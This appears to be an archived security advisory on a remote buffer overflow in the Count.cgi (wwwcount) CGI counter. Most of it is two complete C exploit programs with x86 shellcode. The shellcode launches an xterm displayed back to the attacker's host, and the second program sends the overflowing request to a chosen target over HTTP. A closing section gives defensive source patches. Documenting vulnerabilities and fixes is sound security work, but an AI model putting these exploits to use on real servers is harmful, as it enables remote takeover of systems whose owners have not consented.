COMMAND

    count.cgi (wwwcount)

SYSTEMS AFFECTED

    Systems running wwwcount 2.3 (possibly others)

PROBLEM

    Nicolas Dubee found following.  A buffer can be overflowed in  the
    Count.cgi program, allowing remote http users to execute arbitrary
    commands on  the target  machine.   There are  at least two buffer
    overflow  vulnerabilities  in  wwwcount,  a  widely  used  CGI web
    counter.

    The most harmful occurs when the QUERY_STRING environment variable
    (which reflects the url  asked by the www  client) is copied to  a
    fixed-size  dynamic  buffer.  Another  one  occures  only when the
    counter is compiled with a special authentication option, and  may
    not be exploitable.

    Here is  a _sample_  exploit, designed  to be  used on  localhost.
    Needs lots of work to  be really usefull, remote stack  prediction
    is still a big problem.  Another exploit follows it.

    /*

    Count.cgi (wwwcount) linux  test exploit
    (c) 05/1997 by plaguez  -  dube0866@eurobretagne.fr
    Contact me if you manage to improve this crap.

    This program needs drastic changes to be useable.
    If you  can't understand  how to  modify it  for your own purpose,
    please do not consider trying it.

    */


    #include <stdio.h>
    #include <stdlib.h>

    char shell[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d"
    "\x5e\x18\x88\x46\x2c\x88\x46\x30"
    "\x88\x46\x39\x88\x46\x4b\x8d\x56"
    "\x20\x89\x16\x8d\x56\x2d\x89\x56"
    "\x04\x8d\x56\x31\x89\x56\x08\x8d"
    "\x56\x3a\x89\x56\x0c\x8d\x56\x10"
    "\x89\x46\x10\xb0\x0b\xcd\x80\x31"
    "\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
    "\xff\xff\xff\xff\xff\xff\xff\xff"
    "\xff\xff\xff\xff\xff\xff\xff\xff"
    "\xff\xff\xff\xff\xff\xff\xff\xff"
    "\xff\xff\xff"
    "/usr/X11R6/bin/xterm0-ut0-display0"
    "127.000.000.001:00"
    "\xff\xff\xff\xff\xff\xff\xff\xff"
    "\xff\xff\xff\xff\xff\xff\xff\xff"
    "\xff\xff\xff\xff\xff\xff\xff\xff"
    "\xff\xff\xff";


    /*

    Assembly stuff for the previous buffer.
    This basically implements an execve syscall, by creating
    an array of char* (needs to put a null byte at the end of
    all strings).
    Here we gonna exec an xterm and send it to our host.
    (you can't simply exec a shell due to the cgi proto).

	    jmp    60
	    popl   %esi
	    xorl   %eax,%eax           # efface eax
	    movl   %esi,%ecx           # recupere l'adresse du buffer
	    leal   0x18(%esi),%ebx     # recupere l'adresse des chaines
	    movb   %al,0x2c(%esi)      # cree les chaines azt
	    movb   %al,0x30(%esi)      #
	    movb   %al,0x39(%esi)
	    movb   %al,0x4b(%esi)
	    leal   0x20(%esi),%edx     # cree le char**
	    movl   %edx,(%esi)
	    leal   0x2d(%esi),%edx
	    movl   %edx,0x4(%esi)
	    leal   0x31(%esi),%edx
	    movl   %edx,0x8(%esi)
	    leal   0x3a(%esi),%edx
	    movl   %edx,0xc(%esi)
	    leal   0x10(%esi),%edx
	    movl   %eax,0x10(%esi)
	    movb   $0xb,%al
	    int    $0x80                #  passe en mode kernel
	    xorl   %ebx,%ebx            #  termine proprement (exit())
	    movl   %ebx,%eax            #  si jamais le execve() foire.
	    inc    %eax                 #
	    int    $0x80                #
	    call   -65                  #  retourne au popl en empilant l'adresse de la chaine
	    .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
	    .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
	    .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
	    .ascii \"/usr/X11R6/bin/xterm0\"         # 44
	    .ascii \"-ut0\"                          # 48
	    .ascii \"-display0\"                 # 57  au ;
	    .ascii \"127.000.000.001:00\"        # 75 (total des chaines)
	    .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
	    .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
		...
     */

    char qs[7000];
    char chaine[]="user=a";

    unsigned long getesp() {
       //   asm("movl %esp,%eax");
       return 0xbfffee38;
    }

    void main(int argc, char **argv) {
       int compt;
       long stack;

       stack=getesp();

       if(argc>1)
	 stack+=atoi(argv[1]);

       for(compt=0;compt<4104;compt+=4) {
	  qs[compt+0] = stack &  0x000000ff;
	  qs[compt+1] = (stack & 0x0000ff00) >> 8;
	  qs[compt+2] = (stack & 0x00ff0000) >> 16;
	  qs[compt+3] = (stack & 0xff000000) >> 24;
       }


       strcpy(qs,chaine);
       qs[strlen(chaine)]=0x90;

       qs[4104]= stack&0x000000ff;
       qs[4105]=(stack&0x0000ff00)>>8;
       qs[4106]=(stack&0x00ff0000)>>16;
       qs[4107]=(stack&0xff000000)>>24;
       qs[4108]= stack&0x000000ff;
       qs[4109]=(stack&0x0000ff00)>>8;
       qs[4110]=(stack&0x00ff0000)>>16;
       qs[4111]=(stack&0xff000000)>>24;
       qs[4112]= stack&0x000000ff;
       qs[4113]=(stack&0x0000ff00)>>8;
       qs[4114]=(stack&0x00ff0000)>>16;
       qs[4115]=(stack&0xff000000)>>24;
       qs[4116]= stack&0x000000ff;
       qs[4117]=(stack&0x0000ff00)>>8;
       qs[4118]=(stack&0x00ff0000)>>16;
       qs[4119]=(stack&0xff000000)>>24;
       qs[4120]= stack&0x000000ff;
       qs[4121]=(stack&0x0000ff00)>>8;
       qs[4122]=(stack&0x00ff0000)>>16;
       qs[4123]=(stack&0xff000000)>>24;
       qs[4124]= stack&0x000000ff;
       qs[4125]=(stack&0x0000ff00)>>8;
       qs[4126]=(stack&0x00ff0000)>>16;
       qs[4127]=(stack&0xff000000)>>24;
       qs[4128]= stack&0x000000ff;
       qs[4129]=(stack&0x0000ff00)>>8;
       qs[4130]=(stack&0x00ff0000)>>16;
       qs[4131]=(stack&0xff000000)>>24;

       strcpy((char*)&qs[4132],shell);

       /* Choose what to do here */
       printf("GET /cgi-bin/Count.cgi?%s\n\n",qs);
       /*fprintf(stderr,"\n\nadresse: %x0x\n",stack);
       printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack);
       setenv("QUERY_STRING",qs,1);
       system("/usr/local/etc/httpd/cgi-bin/Count.cgi");
       system("/bin/sh");*/

    }

    Here's another way (by Gus):

    /*###############################################################
    #################################################################
    ##
    ##   count.cgi.l.c -  intel linux exploit for Count.cgi
    ##   Gus/98
    ##   Shell code and methodology from 'wwwcount.c' by
    ##   Plaguez <dube0866@eurobretagne.fr>
    ##
    ##
    */


    #include <stdio.h>
    #include <stdlib.h>
    #include <getopt.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <errno.h>



    /* Forwards */
    unsigned long getsp(int);
    int usage(char *);
    void doit(char *,long, char *);

    /* Constants */
    char shell[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
    "\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
    "\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
    "\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
    "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
    "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
    "/usr/X11R6/bin/xterm0-ut0-display0";
    char endpad[]=
    "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
    "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";



    int main (int argc, char *argv[]){
      char *shellcode = NULL;
      int cnt,ver,retcount, dispnum,dotquads[4],offset;
      unsigned long sp;
      char dispname[255];
      char *host;
 

      offset = sp = cnt = ver = 0;
      fprintf(stderr,"\t%s - Gus\n",argv[0]);
      if (argc<3) usage(argv[0]);

      while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {
	switch(cnt){
	case 'h':
	  host = optarg;
	  break;
	case 'd':
	  {
	    retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
			      &dotquads[0],
			      &dotquads[1],
			      &dotquads[2],
			      &dotquads[3], &dispnum);
	    if (retcount != 5) usage(argv[0]);
	    sprintf(dispname, "%03d.%03d.%03d.%03d:%01d",
		    dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
	    shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
	    sprintf(shellcode,"%s%s%s",shell,dispname,endpad);
	  }
	break;
	case 'v':
	  ver = atoi(optarg);
	  break;
	case 'o':
	  offset = atoi(optarg);
	  break;
	default:
	  usage(argv[0]);
	  break;
	}
      }

      sp = offset + getsp(ver);


      (void)doit(host,sp,shellcode);

      exit(0);
    }

    unsigned long getsp(int ver) {

      /* Get the stack pointer we should be using. YMMV. If it does not work,
	 try using -o X, where x is between -1500 and 1500 */
      unsigned long sp=0;

      if (ver == 15) sp = 0xbfffea50;
      if (ver == 20) sp = 0xbfffea50;
      if (ver == 22) sp = 0xbfffeab4;
      if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */
      if (sp == 0) {
	fprintf(stderr,"I don't have an sp for that version try using the -o option.\n");
	fprintf(stderr,"Versions above 24 are patched for this bug.\n");
	exit(1);
      } else {
	return sp;
      }

    }


    int usage (char *name) {
      fprintf(stderr,"\tUsage:%s -h host -d <display> -v <version> [-o <offset>]\n",name);
      fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",name);
      exit(1);
    }

    int openhost (char *host, int port) {

      int sock;
      struct hostent *he;
      struct sockaddr_in sa;

      he = gethostbyname(host);
      if (he == NULL) {
	perror("Bad hostname\n");
	exit(-1);
      }

      memcpy(&sa.sin_addr, he->h_addr, he->h_length);

      sa.sin_port=htons(port);
      sa.sin_family=AF_INET;
      sock=socket(AF_INET,SOCK_STREAM,0);
      if (sock < 0) {
	perror ("cannot open socket");
	exit(-1);
      }
      bzero(&sa.sin_zero,sizeof (sa.sin_zero));

      if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {
	perror("cannot connect to host");
	exit(-1);
      }

      return(sock);
    }


    void doit (char *host,long sp, char *shellcode) {

      int cnt,sock;
      char qs[7000];
      int bufsize = 16;
      char buf[bufsize];
      char chain[] = "user=a";

      bzero(buf);


      for(cnt=0;cnt<4104;cnt+=4) {
	qs[cnt+0] = sp &  0x000000ff;
	qs[cnt+1] = (sp & 0x0000ff00) >> 8;
	qs[cnt+2] = (sp & 0x00ff0000) >> 16;
	qs[cnt+3] = (sp & 0xff000000) >> 24;
      }
      strcpy(qs,chain);
      qs[strlen(chain)]=0x90;

      qs[4104]= sp&0x000000ff;
      qs[4105]=(sp&0x0000ff00)>>8;
      qs[4106]=(sp&0x00ff0000)>>16;
      qs[4107]=(sp&0xff000000)>>24;
      qs[4108]= sp&0x000000ff;
      qs[4109]=(sp&0x0000ff00)>>8;
      qs[4110]=(sp&0x00ff0000)>>16;
      qs[4111]=(sp&0xff000000)>>24;
      qs[4112]= sp&0x000000ff;
      qs[4113]=(sp&0x0000ff00)>>8;
      qs[4114]=(sp&0x00ff0000)>>16;
      qs[4115]=(sp&0xff000000)>>24;
      qs[4116]= sp&0x000000ff;
      qs[4117]=(sp&0x0000ff00)>>8;
      qs[4118]=(sp&0x00ff0000)>>16;
      qs[4119]=(sp&0xff000000)>>24;
      qs[4120]= sp&0x000000ff;
      qs[4121]=(sp&0x0000ff00)>>8;
      qs[4122]=(sp&0x00ff0000)>>16;
      qs[4123]=(sp&0xff000000)>>24;
      qs[4124]= sp&0x000000ff;
      qs[4125]=(sp&0x0000ff00)>>8;
      qs[4126]=(sp&0x00ff0000)>>16;
      qs[4127]=(sp&0xff000000)>>24;
      qs[4128]= sp&0x000000ff;
      qs[4129]=(sp&0x0000ff00)>>8;
      qs[4130]=(sp&0x00ff0000)>>16;
      qs[4131]=(sp&0xff000000)>>24;
      strcpy((char*)&qs[4132],shellcode);

      sock = openhost(host,80);
      write(sock,"GET /cgi-bin/Count.cgi?",23);
      write(sock,qs,strlen(qs));
      write(sock," HTTP/1.0\n",10);
      write(sock,"User-Agent: ",12);
      write(sock,qs,strlen(qs));
      write(sock,"\n\n",2);
      sleep(1);

      /* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); */

      setenv("HTTP_USER_AGENT",qs,1);
      setenv("QUERY_STRING",qs,1);
      /* system("./Count.cgi"); */
    }

SOLUTION

    The author of Count.cgi  has released version 2.4  which addresses
    the  vulnerability  described  here.    The  current  version   is
    available from:

	http://www.fccc.edu/users/muquit/Count.html

    As  they  are  exploitable  remotely,  these  holes  are extremely
    serious and should be addressed  as soon as possible. A  temporary
    fix,  if  the  sources  are  not  available, is to remove the exec
    permissions (chmod  -x) of  the Count.cgi  executable (located  in
    your httpd's cgi-bin/ directory).

    The actual fix is pretty simple. Apply the following patch to  the
    file main.c. Environment  variables will be  cutted down to  their
    first 600 chars. The  idea of this patch  can also be adapted  for
    other purposes, mainly to develop a generic cgi-bin wraper.

    58a59,72

    > void wrapit(char *envvar,int esize)
    > {
    >    char *tmp,*tmp2;
    >    tmp=malloc(esize+1);
    >    if(tmp==NULL)
    >      {
    >       Debug2("Can't allocate wrapper memory buffer.",0,0);
    >       exit(1);
    >      }
    >    strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
    >    tmp[esize]='\0';
    >    setenv(envvar,tmp,1);
    > }
    >
    89c103
    <     char
    ---
    >    char
    185a200,207
    >    /*
    >     * avoid any buffer overflow problem by cutting some env variables
    >     */
    >
    >    wrapit("QUERY_STRING",600);
    >    wrapit("HTTP_REFERER",600);
    >    wrapit("HTTP_USER_AGENT",600);
    >

    With Solaris (and all other systems which don't support setenv(2))
    you have to use putenv(2)  instead of setenv.  The  modified patch
    is applied  below (by  Jan Wedekind).   It may  work for  other OS
    with  with  putenv();  also  add  -DHAVE_PUTENV in the Makefile of
    wwwcount 2.3:

    58a59,80
    > void wrapit(char *envvar,int esize)
    > {
    >    char *tmp,*tmp2;
    >    tmp=malloc(esize+strlen(envvar)+2);
    >    if(tmp==NULL)
    >      {
    >       Debug2("Can't allocate wrapper memory buffer.",0,0);
    >       exit(1);
    >      }
    > #ifdef HAVE_PUTENV
    >    strcpy(tmp, envvar);
    >    strcat(tmp, "=");
    >    strncat(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
    >    tmp[strlen(envvar)+1+esize]='\0';
    >    putenv(tmp);
    > #else
    >    strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
    >    tmp[esize]='\0';
    >    setenv(envvar,tmp,1);
    > #endif
    > }
    >
    89c111
    <     char
    ---
    >    char
    185a208,213
    >    /*
    >     * avoid any buffer overflow problem by cutting some env variables
    >     */
    >    wrapit("QUERY_STRING",600);
    >    wrapit("HTTP_REFERER",600);
    >    wrapit("HTTP_USER_AGENT",600);